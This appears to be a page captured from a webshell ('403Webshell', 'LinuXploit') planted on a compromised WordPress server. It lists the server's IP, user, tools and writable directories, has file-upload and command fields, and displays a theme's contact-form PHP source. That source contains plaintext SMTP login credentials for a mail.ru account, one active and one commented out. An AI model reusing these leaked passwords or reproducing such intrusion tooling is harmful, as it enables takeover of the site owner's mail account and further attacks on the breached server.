403Webshell
Server IP : 185.252.147.100  /  Your IP : 216.73.217.33
Web Server : nginx/1.27.3
System : Linux mitrofanov.ru 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
User : mitr ( 1000)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/html/metal.mitrofanov.ru/wordpress/wp-content/themes/generatepress_child/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/html/metal.mitrofanov.ru/wordpress/wp-content/themes/generatepress_child/inc/contact-form.php
<?php
defined('ABSPATH') || exit;

add_action('wp_ajax_contactform_send', 'ajax_contactform_send_callback');
add_action('wp_ajax_nopriv_contactform_send', 'ajax_contactform_send_callback');

function da_contact_form()
{
//$form_id = $form_id > 1 ? $form_id : 1;
$form_id = 708; //рандом)
$form_name    = 'Имя';
$form_phone   = 'Телефон';
$form_email   = 'Электронная почта';
$form_message = 'Текст обращения';
$form_send    = 'Отправить';
$form_privacy = 'Заполняя и отправляя данные в форме на этом сайте вы соглашаетесь и принимаете условия <a href="https://mitrofanov.ru/privacy/" class="underline">Политики конфиденциальности</a>.';
$nonce = wp_nonce_field('contactform-' . $form_id, '_cf_nonce', true, false);
$form = <<<HERE
<div id="form-$form_id" class="da-contactform">
    <form>
        <div class="form-section ziticomb">
            <label class="ziticomb" for="nameus-$form_id">Name</label>
            <input class="ziticomb" type="text" name="nameus" id="nameus-$form_id">
        </div>
        <div class="form-section ziticomb">
            <label class="ziticomb" for="emailus-$form_id">Email</label>
            <input class="ziticomb" type="text" name="emailus" id="emailus-$form_id">
        </div>
        <div class="form-section">
            <label for="name-$form_id">$form_name</label>
            <input class="send-form" type="text" name="name" id="name-$form_id" tabindex="1" autocomplete="name" required>
            <span id="name-error-$form_id" class="text-danger"></span>
        </div>
        <div class="form-section">
            <label for="email-$form_id">$form_email</label>
            <input class="send-form" type="email" name="email" id="email-$form_id" tabindex="0" autocomplete="email" required>
            <span id="email-error-$form_id" class="text-danger"></span>
        </div>
        <div class="form-section">
            <label for="phone-$form_id">$form_phone</label>
            <input class="send-form" type="tel" name="phone" id="phone-$form_id" tabindex="0" autocomplete="tel" required>
            <span id="phone-error-$form_id" class="text-danger"></span>
        </div>
        <div class="form-section">
            <label for="task-$form_id">$form_message</label>
            <textarea id="task-$form_id" name="task" cols="40" rows="3"></textarea>
            <span id="task-error-$form_id" class="text-danger"></span>
        </div>
        <div class="form-section send">
            <input type="hidden" name="action" value="contactform_send">
            $nonce
            <input type="button" class="button" value="$form_send" id="contactbutton-$form_id" tabindex="0" data-click="send_form" data-id="$form_id">
            <div id="contact-msg-$form_id" class="contact-msg"></div>
                                    <div id="notsent-msg-$form_id" class="notsent-msg"></div>
            <div class="privacy-text">$form_privacy</div>
        </div>
    </form>
</div>
HERE;

return $form;

}

add_shortcode('da-contact-form', 'da_contact_form');


function ajax_contactform_send_callback()
{
if (! empty(sanitize_text_field($_POST[ "nameus" ])) || ! empty(sanitize_email($_POST[ "emailus" ]))) {
header('HTTP/1.1 404 Not Found');
die(json_encode([ 'error' => 'Not Found' ]));
}
$id = $_POST[ 'formid' ];
if (! wp_verify_nonce($_POST[ '_cf_nonce' ], 'contactform-' . $id)) {
echo json_encode([ 'notsent' => 'Ошибка верификации!' ]);
header("Content-Type: application/json");
die();
}
$success = null;
$notsent = null;
$name    = sanitize_text_field($_POST[ 'name' ]);
$phone   = sanitize_text_field($_POST[ 'phone' ]);
$email   = sanitize_text_field($_POST[ 'email' ]);
$task    = sanitize_text_field($_POST[ 'task' ]);
$name_error = ( empty($name) || ! preg_match('/[а-яА-Я]+/u', $name)) ? 'Как к Вам обращаться?' : null;
$phone_error = empty($phone) ? 'Укажите номер телефона.' : null;
$email_error = ( empty($email) || !filter_var($email, FILTER_VALIDATE_EMAIL) ) ? 'Укажите адрес электронной почты.' : null;
$task_error = empty($task) ? 'Заполните, пожалуйста, текст обращения.' : null;
if (is_null($name_error) && is_null($phone_error) && is_null($email_error) && is_null($task_error)) {
$to      = 'avto.amiro@mail.ru';
//$to = 'alimovmail@gmail.com';
$from     = 'avto.amiro@mail.ru';
$sitename = get_bloginfo( 'name' );
$subject  = 'Обращение на сайте '.$sitename;
$message  = <<<MESSAGE
<h3>Обращение с формы на сайте</h3>
<p><b>Имя:</b> $name</p>
<p><b>Телефон:</b> $phone</p>
<p><b>Email:</b> $email</p>
<p><i>$task</i></p>
MESSAGE;
$headers = [
'From: ' . $sitename . ' <' . $from . '>',
'Content-Type: text/html; charset=UTF-8',
    //  'Reply-To: '.$name.' <'.$email.'>'
    //  'cc: John Q Codex <jqc@wordpress.org>',
    //  'cc: John2 Codex <j2qc@wordpress.org>',
    //  'bcc: iluvwp@wordpress.org', // тут можно использовать только простой email адрес
];
if (wp_mail(
$to,
$subject,
$message,
$headers
)) {
$success = '<p>Сообщение отправлено! Свяжемся с Вами в ближайшее время.</p>';
} else {
$notsent = '<p>Сообщение не доставлено. Попробуйте позже или свяжитесь с нами другим способом.</p>';
}
}
$result = [
'success'     => $success,
'notsent'     => $notsent,
'name_error'  => $name_error,
'phone_error' => $phone_error,
'email_error' => $email_error,
'task_error' => $task_error,
];
echo json_encode($result);
header("Content-Type: application/json");
die();
}

/*********************PHP MAILER*******************/

add_action( 'phpmailer_init', 'smtp_phpmailer_init' );
function smtp_phpmailer_init( $phpmailer ){

    $phpmailer->IsSMTP();

    $phpmailer->CharSet    = 'UTF-8';

    $phpmailer->Host       = 'smtp.mail.ru';
    $phpmailer->Username   = 'avto.amiro@mail.ru';

    //wp-config
    //define( 'SMTP_PASS',   'fzsvjilpxpdybyfi' );

    //$phpmailer->Password   = SMTP_PASS;


    $phpmailer->Password   = 'j8HMPlVEsCT5ee3X9iKt';
    $phpmailer->SMTPAuth   = true;
    $phpmailer->SMTPSecure = 'ssl';

    $phpmailer->Port       = 465;
    $phpmailer->From       = 'avto.amiro@mail.ru';
    $phpmailer->FromName   = 'METALL.Mitrofanov';

    $phpmailer->isHTML( true );
}

Youez - 2016 - github.com/yon3zu
LinuXploit